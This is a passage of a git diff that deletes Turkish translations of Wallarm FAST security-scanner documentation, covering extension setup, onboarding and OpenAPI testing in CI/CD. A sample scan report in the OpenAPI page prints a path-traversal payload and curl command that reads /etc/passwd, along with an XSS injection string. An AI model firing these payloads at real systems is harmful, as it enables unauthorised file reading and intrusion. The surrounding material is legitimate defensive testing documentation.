ifadesi olabilir. - -Bu filtre yalnızca Xml_tag filtresi ile birlikte noktada kullanılabilir. - -Örnek: - -Şu - -``` -POST http://example.com/main/login HTTP/1.1 -Content-type: application/xml -``` - -isteğinin şu gövdesi ile - -``` - -]> - - - - Sample text. - -``` - -Xml_attr filtresi, XML ayrıştırıcı ve Xml_tag filtresiyle birlikte istek gövdesindeki `text` etiketine uygulandığında aşağıdaki hash tablosuna karşılık gelir: - -| Anahtar | Değer | -|----------|---------------| -| category | informational | -| font | 12 | - -* `POST_XML_XML_TAG_text_XML_ATTR_category_value` noktası, Xml_attr filtresinin başvurduğu `text` etiketinin öznitelik hash tablosundaki `category` anahtarına karşılık gelen `informational` değerine karşılık gelir. -* `POST_XML_XML_TAG_text_XML_ATTR_font_value` noktası, Xml_attr filtresinin başvurduğu `text` etiketinin öznitelik hash tablosundaki `font` anahtarına karşılık gelen `12` değerine karşılık gelir. \ No newline at end of file diff --git a/docs/latest-tr/fast/dsl/points/principles.md b/docs/latest-tr/fast/dsl/points/principles.md deleted file mode 100644 index 536dc968b5..0000000000 --- a/docs/latest-tr/fast/dsl/points/principles.md +++ /dev/null @@ -1,89 +0,0 @@ -[link-ruby]: http://ruby-doc.org/core-2.6.1/doc/regexp_rdoc.html -[link-yaml]: https://yaml.org/spec/1.2/spec.html - -# Nokta Oluşturma İlkeleri - -!!! warning "Rezerve kelimeler" - Çakışmaları önlemek için temel istek öğeleri için aşağıdaki adları ve anahtarları kullanmayın: - - * Ayrıştırıcıların adlarıyla eşleşen adlar ve anahtarlar - * Filtrelerin adlarıyla eşleşen adlar ve anahtarlar - * `name` ve `value` servis sözcükleriyle eşleşen adlar ve anahtarlar - -Özel bir uzantı geliştirirken dikkate alınması gereken birkaç evrensel nokta oluşturma ilkesi vardır. - -* Tüm Noktalar düzenli ifadeler olarak değerlendirilir. - - **Örnek:** - - * `HEADER_A.*_value` noktası, istek içinde böyle bir başlık varsa adı `A` ile başlayan başlığa karşılık gelir. - * `PATH_\d_value` noktası, isteğin URI yolunun ilk 10 parçasına karşılık gelir. - -* Noktanın parçaları `_` sembolü kullanılarak bölünmelidir. - - **Örnek:** - - `URI_value`. - -* Ayrıştırıcıların ve filtrelerin adları noktaya BÜYÜK HARF ile eklenmelidir. - - **Örnek:** - - `ACTION_EXT_value`. - -* İstek öğelerinin adları, temel istekte göründükleriyle tamamen aynı şekilde noktaya eklenmelidir. - - **Örnek:** - - `GET http://example.com/login/?Uid=01234` isteği için, `GET_Uid_value` noktası `Uid` sorgu dizesi parametresine karşılık gelir. - - !!! info "Özel sembollerin kaçışlanması" - Bazı servis sembolleri, noktalarda kullanıldığında kaçış gerektirebilir. Ayrıntılı bilgi için [Ruby programlama dilinin düzenli ifadeleri][link-ruby] belgelerine bakın. - -* Bir nokta uzantıya şu şekillerde yerleştirilebilir: - * `"` sembolleri ile çevrelenmiş. - - **Örnek:** - - `"PATH_.*_value"`. - - * `'` sembolleri ile çevrelenmiş. - - **Örnek:** - - `'GET_.*_value'`. - - * Herhangi bir sembolle çevrelenmeden. - - **Örnek:** - - `HEADER_.*_value`. - - !!! info "Noktaları sembollerle çevreleme" - YAML sözdizimi, noktaları çevrelemek için çeşitli sembollerin kullanımındaki farkı tanımlar. Ayrıntılı bilgi için şu [bağlantıya][link-yaml] bakın. - -* `,` sembolü ile bölünmüş ve `[` ile `]` sembolleriyle çevrelenmiş noktalar bir nokta dizisi olarak değerlendirilir. - - **Örnek:** - - `[GET_uid_value, GET_passwd_value]`. - -* Uzantının istek öğesinin adıyla mı yoksa değeriyle mi çalışması gerektiğini belirtmek için noktanın sonunda her zaman bir servis sözcüğü bulunmalıdır. - * İstek öğesinin adıyla çalışmak için `name` servis sözcüğü belirtilmelidir. - - `name` servis sözcüğü aşağıdaki filtrelerle birlikte kullanılabilir: - - * Xml_pi; - * Xml_dtd_entity. - - **Örnek:** - - `POST_XML_XML_DTD_ENTITY_0_name` noktası, isteğin gövdesindeki XML verilerinde belirtilen ilk DTD şeması yönergesinin adına karşılık gelir. - - * İstek öğesinin değeriyle çalışmak için `value` servis sözcüğü belirtilmelidir. - - `value` servis sözcüğü mevcut tüm FAST DSL filtreleri ve ayrıştırıcılarıyla birlikte kullanılabilir. - - **Örnek:** - - `PATH_0_value` noktası, isteğin URI yolunun ilk parçasının değerine karşılık gelir. \ No newline at end of file diff --git a/docs/latest-tr/fast/dsl/using-extension.md b/docs/latest-tr/fast/dsl/using-extension.md deleted file mode 100644 index d26c8761f8..0000000000 --- a/docs/latest-tr/fast/dsl/using-extension.md +++ /dev/null @@ -1,164 +0,0 @@ -[link-points]: points/intro.md -[link-stop-recording]: ../qsg/test-run.md#2-execute-the-https-baseline-request-you-created-earlier - -[doc-mod-extension]: extensions-examples/mod-extension.md -[doc-non-mod-extension]: extensions-examples/non-mod-extension.md -[doc-testpolicy]: logic.md - -[img-test-policy-insertion-points]: ../../images/fast/dsl/common/using-extensions/tp_insertion_points.png -[img-test-policy-attacks]: ../../images/fast/dsl/common/using-extensions/tp_attacks_test.png -[img-test-run]: ../../images/fast/dsl/common/using-extensions/create_testrun.png -[img-testrun-details]: ../../images/fast/dsl/common/using-extensions/testrun_details.png -[img-log]: ../../images/fast/dsl/common/using-extensions/log.png -[img-vulns]: ../../images/fast/dsl/common/using-extensions/vulnerabilities.png -[img-vuln-details-mod]: ../../images/fast/dsl/common/using-extensions/vuln_details-mod.png - -[anchor-connect-extension]: #connecting-extensions - -# FAST Eklentilerini Kullanma - - -## Eklentileri Bağlama - -Oluşturulan eklentileri kullanmak için bunları FAST düğümüne bağlamanız gerekir. - -Bunu aşağıdaki yollardan biriyle yapabilirsiniz: -* Eklentileri bir dizine yerleştirin ve bu dizini `docker run` komutunun `-v` seçeneğini kullanarak FAST düğümü Docker konteynerine bağlayın. - - ``` - sudo docker run --name --env-file= -v :/opt/custom_extensions -p :8080 wallarm/fast - ``` - - Örnek: - - Aşağıdaki komutu, FAST düğümünü şu argümanlarla Docker konteynerinde başlatmak için çalıştırın: - - 1. Konteynerin adı: `fast-node`. - 2. Ortam değişkenleri dosyası: `/home/user/fast.cfg`. - 3. FAST eklentileri dizin yolu: `/home/user/extensions`. - 4. Konteynerin `8080` portunun yayınlandığı port: `9090`. - - ``` - sudo docker run --name fast-node --env-file=/home/user/fast.cfg -v /home/user/extensions:/opt/custom_extensions -p 9090:8080 wallarm/fast - ``` - -* Eklentileri herkese açık bir Git deposuna yerleştirin ve FAST düğümü Docker konteynerinde ilgili depoya işaret eden ortam değişkenini tanımlayın. - - Bunu yapmak için şunları uygulayın: - - 1. Ortam değişkenlerini içeren dosyaya `GIT_EXTENSIONS` değişkenini ekleyin. - - Örnek: - - Eklentileriniz `https://github.com/wallarm/fast-detects` Git deposundaysa aşağıdaki ortam değişkenini tanımlayın: - - ``` - GIT_EXTENSIONS=https://github.com/wallarm/fast-detects - ``` - - 2. FAST düğümü Docker konteynerini, ortam değişkenlerini içeren dosyayı kullanarak aşağıdaki gibi çalıştırın: - - ``` - sudo docker run --name --env-file= -p :8080 wallarm/fast - ``` - - Örnek: - - Aşağıdaki komutu, FAST düğümünü şu argümanlarla Docker konteynerinde başlatmak için çalıştırın: - - 1. Konteynerin adı: `fast-node`. - 2. Ortam değişkenleri dosyası: `/home/user/fast.cfg`. - 3. Konteynerin `8080` portunun yayınlandığı port: `9090`. - - ``` - sudo docker run --name fast-node --env-file=/home/user/fast.cfg -p 9090:8080 wallarm/fast - ``` - ---8<-- "../include/fast/wallarm-api-host-note.md" - - FAST düğümü başarıyla başlatılırsa, Wallarm Cloud bağlantısının başarılı olduğunu ve yüklenen eklenti sayısını bildiren aşağıdaki çıktıyı konsola yazar: - ---8<-- "../include/fast/console-include/dsl/fast-node-run-ok.md" - -Düğüm başlatılırken bir hata oluşursa, hata bilgileri konsola yazılır. Eklenti sözdizimi hatasıyla ilgili mesaj aşağıdaki örnekte gösterilmiştir: - ---8<-- "../include/fast/console-include/dsl/fast-node-run-fail.md" - -!!! info "Eklentilerin konum gereksinimleri" - İç içe dizinlerdeki eklentiler bağlanmaz (örneğin, eklenti `extensions/level-2/` dizinine yerleştirilmişse). Seçilen bağlantı yöntemine bağlı olarak, eklentiler ya FAST düğümü Docker konteynerine bağlanan dizinin köküne ya da Git deposunun köküne yerleştirilmelidir. - -## Eklentilerin Çalışmasını Kontrol Etme - -Daha önce oluşturulan [`mod-extension.yaml`][doc-mod-extension] ve [`non-mod-extension.yaml`][doc-non-mod-extension] eklentilerinin çalışmasını kontrol etmek için aşağıdaki adımları uygulayın: - -1. Eklentileri, [yukarıdaki adımları][anchor-connect-extension] izleyerek FAST düğümüne bağlayın. - -2. Test politikasını oluşturun. Bu, FAST düğümüne bağlı tüm FAST eklentileri tarafından kullanılacaktır. Test politikalarının nasıl çalıştığıyla ilgili ayrıntılı bilgi [burada][doc-testpolicy] yer almaktadır. - - Anımsatalım: Bağlı olan değiştirici eklenti, temel istekteki `POST_JSON_DOC_HASH_email_value` noktasını değiştirir ve değiştirici olmayan eklenti `URI` noktasıyla çalışmak için izin gerektirir. - - Bu nedenle, her iki eklentinin de tek bir test çalıştırması sırasında yürütülmesi için, bir test politikası şunlarla çalışmaya izin vermelidir: - - * POST parametreleri - * URI parametresi - - ![Test policy wizard, “Insertion points” sekmesi][img-test-policy-insertion-points] - - Ayrıca, eklentiler uygulamanın bir SQLi saldırısına karşı savunmasız olup olmadığını kontrol eder; bu nedenle uygulamayı Wallarm FAST detects (ör. RCE) ile diğer zafiyetlere karşı da kontrol etmek uygun olabilir. Bu, SQLi zafiyetinin, yerleşik FAST detects yerine oluşturulan eklentilerle tespit edildiğini doğrulamanıza yardımcı olur. - - ![Test policy wizard, “Attacks to test” sekmesi][img-test-policy-attacks] - - Ortaya çıkan test politikası aşağıdaki gibi olmalıdır: - - ``` - X-Wallarm-Test-Policy: type=rce; insertion=include:'POST_.*','URI'; - ``` - -3. Oluşturulan test politikasına dayanarak FAST düğümünüz için bir test çalıştırması oluşturun. - - ![Test çalıştırması][img-test-run] - -4. FAST düğümü, konsola şu mesaja benzer bir bilgilendirme mesajı yazana kadar bekleyin: `Recording baselines for TestRun#`. Bu, FAST düğümünün temel istekleri kaydetmeye hazır olduğu anlamına gelir.
              ---8<-- "../include/fast/console-include/dsl/fast-node-recording.md" - -5. Aşağıdaki örnekte gösterildiği gibi, FAST düğümü üzerinden OWASP Juice Shop oturum açma sayfasına rastgele parametrelerle bir POST isteği oluşturup gönderin: - - ``` - curl --proxy http:// \ - --request POST \ - --url http://ojs.example.local/rest/user/login \ - --header 'accept-language: en-US,en;q=0.9' \ - --header 'content-type: application/json' \ - --header 'host: ojs.example.local' \ - --data '{"email":"test@example.com", "password":"12345"}' - ``` - - İsteği göndermek için `curl` veya diğer araçları kullanabilirsiniz. - - !!! info "Temel istek kayıt sürecini durdurma" - Temel isteği gönderdikten sonra kayıt işlemini durdurmanız önerilir. Bu prosedür [burada][link-stop-recording] açıklanmaktadır. - -6. FAST düğümü konsol çıktısında şunları göreceksiniz: - - * hedef uygulama yerleşik FAST detects kullanılarak test edilir, - * temel istekteki POST parametreleri için değiştirici FAST eklentisi çalışır ve - * temel istekteki URI parametresi için değiştirici olmayan FAST eklentisi çalışır. - --8<-- "../include/fast/console-include/dsl/fast-node-working.md" - - Wallarm web arayüzünde test çalıştırması bilgilerini açıp “Details” bağlantısına tıklayarak istek işlemenin tam günlüğünü görebilirsiniz. - - ![Ayrıntılı test çalıştırması bilgileri][img-testrun-details] - - ![İstek işlemenin tam günlüğü][img-log] - -7. Ayrıca, tespit edilen sorun sayısını içeren bağlantıya tıklayarak (ör. “2 issues.”) tespit edilen zafiyetlerle ilgili bilgileri görebilirsiniz. “Vulnerabilities” sayfası açılacaktır. - - ![Wallarm web arayüzünde Vulnerabilities][img-vulns] - - “Risk,” “Type,” ve “Title” sütunları, FAST eklentilerinin yardımıyla tespit edilen zafiyetler için eklentilerin `meta-info` bölümünde belirtilen değerleri içerecektir. - -8. Bir zafiyete tıklayarak, açıklaması (eklenti dosyasının `meta-info` bölümünden) ve onu sömüren isteğe örnek de dâhil olmak üzere ayrıntılı bilgilerini görüntüleyebilirsiniz. - - Bir zafiyet hakkında bilgilere örnek (değiştirici eklenti ile tespit edildi): - - ![Zafiyetin ayrıntılı bilgisi][img-vuln-details-mod] \ No newline at end of file diff --git a/docs/latest-tr/fast/onboarding/onboarding.md b/docs/latest-tr/fast/onboarding/onboarding.md deleted file mode 100644 index d443ca82c4..0000000000 --- a/docs/latest-tr/fast/onboarding/onboarding.md +++ /dev/null @@ -1,115 +0,0 @@ -[img-quick-help-howto]: ../../images/fast/onboarding/common/1-quick-help.png -[img-fast-5mins-button]: ../../images/fast/onboarding/common/2-fast-in-5mins.png -[img-intro]: ../../images/fast/onboarding/common/3-intro.png -[img-deploy]: ../../images/fast/onboarding/common/4-deploy.png -[img-cont-deployed]: ../../images/fast/onboarding/common/5-cont-deployed.png -[img-ff-proxy-settings]: ../../images/fast/onboarding/common/6-ff-proxy.png -[img-create-testrun]: ../../images/fast/onboarding/common/7-create-testrun.png -[img-recording]: ../../images/fast/onboarding/common/8-check-recording.png -[img-http-request]: ../../images/fast/onboarding/common/9-request.png -[img-gruyere-app]: ../../images/fast/onboarding/common/10-gruyere-app.png -[img-stop-recording]: ../../images/fast/onboarding/common/11-stop-recording.png -[img-results]: ../../images/fast/onboarding/common/12-detected-vuln.png -[img-detailed-results]: ../../images/fast/onboarding/common/13-vuln-details.png -[img-finish]: ../../images/fast/onboarding/common/14-finish.png - -[link-wl-portal]: https://us1.my.wallarm.com -[link-docker-install-docs]: https://docs.docker.com/install/overview/ -[link-firefox-proxy]: https://support.mozilla.org/en-US/kb/connection-settings-firefox -[link-gruyere-app]: http://google-gruyere.appspot.com/ -[link-qsg]: ../qsg/deployment-options.md - -# FAST'e Başlangıç - ---8<-- "../include/fast/cloud-note.md" - - Wallarm portal'a [Wallarm portal][link-wl-portal] üzerinden ilk girişinizde, beş adımlı başlangıç süreciyle FAST ile tanışma fırsatına sahip olursunuz. - -!!! info "Başlangıç sürecini kontrol etme" - Başlangıç sürecini, başlangıç panelindeki ✕ düğmesine istediğiniz zaman tıklayarak durdurabilirsiniz. - - Size, başlangıcı tamamen atlama veya mevcut adımınızdan sürece daha sonra devam etme seçeneği sunulacaktır. - - Başlangıcı atladıysanız ve başlatmak istiyorsanız, Wallarm portal'ın sağ üst köşesindeki soru işaretine basın ve açılan kenar çubuğunda “FAST in 5 minutes” öğesini seçin: - - ![“The Quick Help” düğmesi][img-quick-help-howto] - - Daha önce ertelediğiniz başlangıç sürecine devam etmek istiyorsanız, Wallarm portal'ın sağ alt köşesindeki “FAST in 5 minutes” düğmesine tıklayın: - - ![“FAST in 5 minutes” düğmesi][img-fast-5mins-button] - -FAST'e hızlı bir giriş yapmak için aşağıdakileri yapın: -1. FAST çözümü hakkında bilgi okuyun. - - ![FAST çözümü hakkında genel bilgi][img-intro] - - Bir sonraki adıma geçmek için “Deploy FAST Node →” düğmesine tıklayın. - -2. Makinenizde FAST node içeren bir Docker container dağıtın. Bunu yapmak için, bu adımda gösterilen `docker run` komutunu kopyalayıp çalıştırın. Komut, gerekli tüm parametrelerle önceden doldurulmuştur. - - ![Dağıtım ipucu][img-deploy] - - !!! info "Docker'ı yükleme" - Docker yüklü değilse, [yükleyin][link-docker-install-docs]. Community Edition veya Enterprise Edition sürümlerinin herhangi biri uygundur. - - FAST node başlatıldıktan sonra `127.0.0.1:8080` adresinde gelen bağlantıları dinleyecektir. - - ![Dağıtılmış FAST node][img-cont-deployed] - - Makinenizdeki bir tarayıcıyı HTTP proxy olarak `127.0.0.1:8080` adresini kullanacak şekilde yapılandırın. Wallarm portal'ın açık olduğu tarayıcı dışındaki herhangi bir tarayıcıyı kullanabilirsiniz. Mozilla Firefox'u öneriyoruz (Firefox'u proxy kullanacak şekilde nasıl yapılandıracağınıza ilişkin [talimatlara][link-firefox-proxy] bakın). - - ![Mozilla Firefox'ta proxy ayarları][img-ff-proxy-settings] - - !!! info "Farklı bir port numarası kullanma" - `8080` portunu FAST node'a vermek istemiyorsanız (örneğin, o portta dinleyen başka bir servis varsa), FAST tarafından kullanılacak başka bir port numarası ayarlayabilirsiniz. Bunu yapmak için, istenen port numarasını `docker run` komutunun `-p` parametresiyle geçirin. Örneğin, `9090` portunu kullanmak için şu şekilde yazarsınız: `-p 9090:8080`. - - Bir sonraki adıma geçmek için “Create a Test Run →” düğmesine tıklayın. - - !!! info "Önceki adıma dönme" - Önceki adımın adına sahip düğmeye tıklayarak her zaman geri dönebileceğinizi unutmayın (ör. “← Understanding FAST”). - -3. “Create test run” düğmesine tıklayarak bir test çalışması oluşturun. Test çalışması için bir ad seçin ve ardından başlangıç ipucunda belirtildiği gibi açılır listelerden gerekli test politikasını ve node'u seçin: - - ![Bir test çalışmasının oluşturulması][img-create-testrun] - - Test çalışmasının oluşturma işlemini tamamlamak için “Create and run” düğmesine basın. - - Bir sonraki adıma geçmek için “Discover Vulnerabilities →” düğmesine tıklayın. - -4. FAST node'un konsolunda `Recording baselines for TestRun...` iletisinin görüntülendiğinden emin olun: - - ![FAST node'un konsolu][img-recording] - - Ardından, FAST ile güvenlik açıklarını test etme sürecini başlatmak için [Google Gruyere][link-gruyere-app] adlı savunmasız uygulamaya bir istek gönderin. - - Bunu yapmak için, başlangıç ipucunda verilen HTTP isteğini kopyalayın, FAST node'unu proxy olarak kullanacak şekilde ayarladığınız tarayıcının adres çubuğuna yapıştırın ve isteği çalıştırın: - - ![İpucundaki HTTP isteği][img-http-request] - - ![HTTP isteğinin yürütülmesi][img-gruyere-app] - - İstek gönderildikten sonra, “Actions” açılır menüsünden “Stop recording” öğesini seçerek istek kaydetme işlemini durdurun. İşlemi “Yes” düğmesine basarak onaylayın: - - ![İstek kaydını durdurma süreci][img-stop-recording] - - Test tamamlanana kadar bekleyin. FAST, Google Gruyere uygulamasında bir XSS güvenlik açığı tespit etmelidir. Test çalışmasının “Results” sütununda güvenlik açığı tanımlayıcısı ve türü görüntülenmelidir: - - ![Testin sonucu][img-results] - - !!! info "Güvenlik açığını analiz etme" - Keşfedilen güvenlik açıklığı hakkında bilgi edinmek için test çalışmasının “Results” sütunundaki değere tıklayabilirsiniz: - - ![Güvenlik açığı hakkında ayrıntılı bilgi][img-detailed-results] - - Bir sonraki adıma geçmek için “Run With It!” düğmesine tıklayın. - -5. Bu adıma geldiğinizde, FAST ile başarıyla tanışmış ve bir web uygulamasında bir güvenlik açığı keşfetmiş olursunuz. - - ![Başlangıç sürecinin sonu][img-finish] - - FAST ile nasıl başlayacağınız hakkında daha ayrıntılı bilgi edinmek için [“Hızlı Başlangıç kılavuzu”][link-qsg]'na gidin. - - Başlangıç sürecini tamamlamak için “Finish” düğmesine tıklayın. - - !!! info "Yapılacak ek işlemler" - Güvenlik açığı başarıyla tespit edildikten sonra FAST node'un Docker container'ını kapatabilir ve tarayıcıdaki proxy yönlendirmesini devre dışı bırakabilirsiniz. \ No newline at end of file diff --git a/docs/latest-tr/fast/openapi-security-testing.md b/docs/latest-tr/fast/openapi-security-testing.md deleted file mode 100644 index 767137256d..0000000000 --- a/docs/latest-tr/fast/openapi-security-testing.md +++ /dev/null @@ -1,124 +0,0 @@ -# CI/CD üzerinde OpenAPI Güvenlik Testi - -Wallarm tarafından desteklenen CI/CD üzerinde OpenAPI Güvenlik Testi, gölge ve zombi API'ler de dahil olmak üzere kritik API iş senaryolarınızdaki güvenlik açıklarını belirleyip ele almanıza yönelik bir çözüm sunar. Bu makale bu çözümün nasıl çalıştırılacağını ve kullanılacağını açıklar. - -Çözüm, Cross-Origin Resource Sharing, dizin geçişi (path traversal), erişim kontrolü kusurları ve daha fazlası gibi zafiyetleri ortaya çıkarmaya yönelik özel olarak tasarlanmış test istekleri üreterek çalışır. Ardından Docker kullanarak CI/CD hattınıza sorunsuz biçimde entegre olur ve API'lerinizi bu zafiyetlere karşı otomatik olarak tarar. - -Test etmek istediğiniz uç noktaları seçme esnekliğine sahipsiniz: - -* **Otomatik uç nokta keşfi**: [Wallarm API Discovery](../api-discovery/overview.md) modülünden yararlanıyorsanız, API uç noktalarınız gerçek trafik verilerinden otomatik olarak tespit edilir. Bu uç noktalardan hangilerini test edeceğinizi seçebilirsiniz. Bu, güvenlik testinin gölge ve zombi olanlar da dahil aktif olarak kullanılan uç noktalara odaklanmasını sağlayarak API'nizdeki güvenlik açıklarının doğru değerlendirmesini sunar. -* **Manuel spesifikasyon yükleme**: Alternatif olarak, kendi OpenAPI spesifikasyonunuzu yükleyebilir ve çözümü spesifikasyondaki uç noktaları test etmek için kullanabilirsiniz. Bu, güncel bir spesifikasyonunuz varsa ve içindeki belirli uç noktalar üzerinde test çalıştırmak istiyorsanız yararlıdır. - -## OpenAPI güvenlik testinin ele aldığı sorunlar - -* Bu çözüm, API'lerinizin regresyon testleri sırasında güvenlik testi yapmanıza olanak tanır. API'lerinizin işlevselliğinde değişiklik yaparsanız, Wallarm güvenlik testi bu değişikliklerin herhangi bir güvenlik sorunu oluşturup oluşturmadığını ortaya çıkarabilir. -* Değişikliklerinizi staging ortamına dağıtıp bu aşamada CI/CD hattında güvenlik testlerini çalıştırarak, potansiyel güvenlik açıklarının üretime ulaşmasını ve saldırganlar tarafından istismar edilmesini önleyebilirsiniz. -* [API Discovery](../api-discovery/overview.md) verilerine dayalı güvenlik testinden yararlanırsanız, çözüm gölge ve zombi API'leri de test eder. Bu API'ler, ekibiniz ve dokümantasyonunuz varlıklarından habersiz olsa bile trafik alabilecekleri için modül tarafından otomatik olarak keşfedilir. Zombi API'leri güvenlik test sürecine dahil ederek, çözüm aksi halde gözden kaçabilecek zafiyetleri ele alır ve daha kapsamlı bir güvenlik değerlendirmesi sağlar. - -## Gereksinimler - -* Aktif bir **Advanced API Security** [abonelik planı](../about-wallarm/subscription-plans.md#core-subscription-plans). Farklı bir plandaysanız, gerekli plana geçiş için lütfen [satış ekibimizle](mailto:sales@wallarm.com) iletişime geçin. - -## Güvenlik testlerini çalıştırma - -OpenAPI Security Testing özelliğini kontrol etmek ve özelleştirmek için test politikalarını kullanabilirsiniz. Bir test politikası oluşturulduğunda, Docker kullanarak CI/CD hattınıza güvenlik testini entegre edip çalıştırmanızı sağlayan bir komut alırsınız. - -OpenAPI güvenlik testini çalıştırmak için şu adımları izleyin: - -1. [US Cloud](https://us1.my.wallarm.com/security-testing) veya [EU Cloud](https://my.wallarm.com/security-testing) bağlantısını izleyerek Wallarm Console → **OpenAPI Testing** bölümüne gidin ve **Create testing policy**. - - ![!Politika oluşturma](../images/user-guides/openapi-testing/create-testing-policy.png) -1. Test etmek istediğiniz API uç noktalarını, [otomatik olarak keşfedilmiş](../api-discovery/overview.md) API envanterinizden seçin veya JSON formatında bir OpenAPI 3.0 spesifikasyonu yükleyin. - - API Discovery modülü yeni uç noktaları otomatik olarak belirlese de, bunları mevcut zafiyet test politikalarına otomatik olarak dahil etmez. Sonuç olarak, yeni keşfedilen her uç nokta için ayrı bir politika gereklidir. -1. API uç noktalarınızda test etmek istediğiniz zafiyet türlerini seçin. -1. Gerekirse, kimlik doğrulama başlıkları veya Wallarm test istekleri için göstergeler gibi güvenlik testi için özel başlıklar ekleyin. - - Bu başlıklar, her uç noktaya gönderilen her istek için kullanılacaktır. -1. Sağlanan Docker komutunu kopyalayın ve otomatik doldurulmamış ortam değişkenlerinin değerlerini girin. -1. Komutu otomatik test için CI/CD hattınıza entegre edin. - -Docker komut örneği: - -=== "US Cloud" - ``` - docker run -e WALLARM_API_HOST=us1.api.wallarm.com -e WALLARM_API_TOKEN=${WALLARM_API_TOKEN} -e WALLARM_TESTING_POLICY_ID=7 -e TARGET_URL=${WALLARM_SCANNER_TARGET_URL} -v ${WALLARM_REPORT_PATH}:/app/reports --pull=always wallarm/oas-fast-scanner:latest - ``` -=== "EU Cloud" - ``` - docker run -e WALLARM_API_HOST=api.wallarm.com -e WALLARM_API_TOKEN=${WALLARM_API_TOKEN} -e WALLARM_TESTING_POLICY_ID=7 -e TARGET_URL=${WALLARM_SCANNER_TARGET_URL} -v ${WALLARM_REPORT_PATH}:/app/reports --pull=always wallarm/oas-fast-scanner:latest - ``` - -[Docker konteynerinin](https://hub.docker.com/r/wallarm/oas-fast-scanner) kabul ettiği ortam değişkenlerinin listesi aşağıda verilmiştir: - -Environment variable | Description| Required? ---- | ---- | ---- -`WALLARM_API_HOST` | Wallarm API sunucusu:
              • `us1.api.wallarm.com` US Cloud için
              • `api.wallarm.com` EU Cloud için
              | Yes -`WALLARM_API_TOKEN` | **OpenAPI testing** izinlerine sahip [Wallarm API belirteci](../user-guides/settings/api-tokens.md). | Yes -`WALLARM_TESTING_POLICY_ID` | Wallarm test politikası kimliği. Politika oluşturulduğunda otomatik olarak üretilir. | Yes -`TARGET_URL` | Test etmek istediğiniz API uç noktalarının barındırıldığı URL. Test istekleri bu hosta gönderilir; ör. staging veya yerel derleme. | Yes - -Değişkenleri konteynere iletmek için daha güvenli bir yaklaşım olarak, otomatik doldurulmamış konteyner ortam değişkenlerinin değerlerini makinenizde yerel ortam değişkenleri olarak kaydetmeniz önerilir. Bunu terminalinizde aşağıdaki komutları çalıştırarak yapabilirsiniz: - -``` -export WALLARM_API_TOKEN= -export WALLARM_SCANNER_TARGET_URL= -``` - -Güvenlik testi sonuçlarını bir ana makinede kaydetmek için, Docker komutunun `-v` seçeneğindeki `${WALLARM_REPORT_PATH}` değişkeninde istenen ana makine yolunu belirtin. - -## Güvenlik testi sonuçlarının yorumlanması - -Güvenlik testleri çalıştırılırken, Wallarm test politikanızda seçtiğiniz zafiyetleri ortaya çıkarmak üzere özel olarak tasarlanmış bir dizi tipik test isteği üretir. Bu test istekleri, politikanızda tanımlanan uç noktalara sırayla gönderilir. - -Oluşturulan isteklere verilen yanıtları analiz ederek, Wallarm API uç noktalarınızda mevcut açık güvenlik açıklarını belirler. Ardından Docker konteynerinin standart çıktısı (stdout) üzerinden `0` veya `1` kodu döner: - -* `0` kodu, açık güvenlik açığı tespit edilmediğini belirtir. -* `1` kodu, açık güvenlik açıklarının bulunduğunu belirtir. - -Belirli zafiyetler için `1` kodu alırsanız, bunları gidermek üzere uygun önlemleri almak önemlidir. - -## Güvenlik testi raporu oluşturma - -Zafiyetleri ortaya çıkaran isteklere ilişkin ayrıntılı bilgiler sağlayan bir güvenlik raporu alabilirsiniz. Rapor CSV, YAML ve JSON dahil birden çok formatta üretilir. - -Güvenlik testi sonuçlarını bir ana makinede kaydetmek için, Docker komutunun `-v ${WALLARM_REPORT_PATH}:/app/reports` seçeneğindeki `${WALLARM_REPORT_PATH}` yolunda istenen ana makine yolunu belirtin. - -Rapor dosyalarının başarıyla kaydedilmesi için, belirtilen ana makine yolunun Docker konteyneri tarafından yazılabilir olduğundan emin olmak önemlidir. - -JSON rapor örneği: - -```json -[ - { - "type":"ptrav", - "threat":80, - "payload":"/../../../../../../../../../etc/passwd", - "exploit_example":"curl -v -X GET -H 'x-test-id: 123' http://app:8000/files?path=/../../../../../../../../../etc/passwd\n\n{\"file_contents\":\"root:x:0:0:root:/root:/bin/bash\\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\\n", - "name":"LFI-linux-replace", - "path":"/files", - "method":"get", - "url":"http://app:8000" - }, - { - "type":"xss", - "threat":60, - "payload":"'wwra92w><", - "exploit_example":"curl -v -X GET -H 'x-test-id: 123' http://app:8000/html_page?query='wwra92w><\n\n'wwra92w><", - "name":"xss-html-injections", - "path":"/html_page", - "method":"get", - "url":"http://app:8000" - } -] -``` - -Varsayılan olarak, güvenlik raporları Docker konteyneri içinde `/app/reports` dizinine kaydedilir. `-v` seçeneğini kullanarak `/app/reports` içeriğini belirtilen ana makine dizinine bağlarsınız. - -## Güvenlik politikalarını yönetme - -Wallarm Console'un **OpenAPI Testing** bölümünde, hesabınızla ilişkili güvenlik test politikaları listesini yönetebilirsiniz. Farklı politikalar; yerel test ve staging gibi farklı hizmetler, ekipler, amaçlar ve test aşamaları için kullanılabilir. - -Gereksinimlerinize uygun olacak şekilde mevcut politikaları düzenleyebilir ve silebilirsiniz. - -![!Politika listesi](../images/user-guides/openapi-testing/testing-policies-list.png) \ No newline at end of file diff --git a/docs/latest-tr/fast/operations/check-testrun-status.md b/docs/latest-tr/fast/operations/check-testrun-status.md deleted file mode 100644 index c8dc10eed1..0000000000 --- a/docs/latest-tr/fast/operations/check-testrun-status.md +++ /dev/null @@ -1,190 +0,0 @@ -[doc-about-tr-token]: internals.md - -[img-testrun-velocity]: ../../images/fast/poc/en/checking-testrun-status/testrun-velocity.png -[img-testrun-avg-rps]: ../../images/fast/poc/en/checking-testrun-status/testrun-avg-rps.png -[img-status-passed]: ../../images/fast/qsg/common/test-interpretation/passed-colored.png -[img-status-failed]: ../../images/fast/qsg/common/test-interpretation/failed-colored.png -[img-status-inprogress]: ../../images/fast/qsg/common/test-interpretation/in-progress.png -[img-status-error]: ../../images/fast/qsg/common/test-interpretation/error-colored.png -[img-status-waiting]: ../../images/fast/qsg/common/test-interpretation/waiting-colored.png -[img-status-interrupted]: ../../images/fast/qsg/common/test-interpretation/interrupted-colored.png -[img-test-runs]: ../../images/fast/poc/en/checking-testrun-status/test-runs.png - -[link-wl-portal-testruns-in-progress]: https://us1.my.wallarm.com/testing/?status=running - -[link-integration-chapter]: integration-overview.md -[link-vuln-list]: ../vuln-list.md - -[anchor-testrun-estimates]: #estimates-of-test-runs-execution-speed-and-time-to-completion - -[doc-testrun-copying]: copy-testrun.md -[doc-stop-recording]: stop-recording.md - - -# Test çalışmasının durumunun kontrolü - -İlk temel isteğin kaydedilmesiyle test isteklerinin 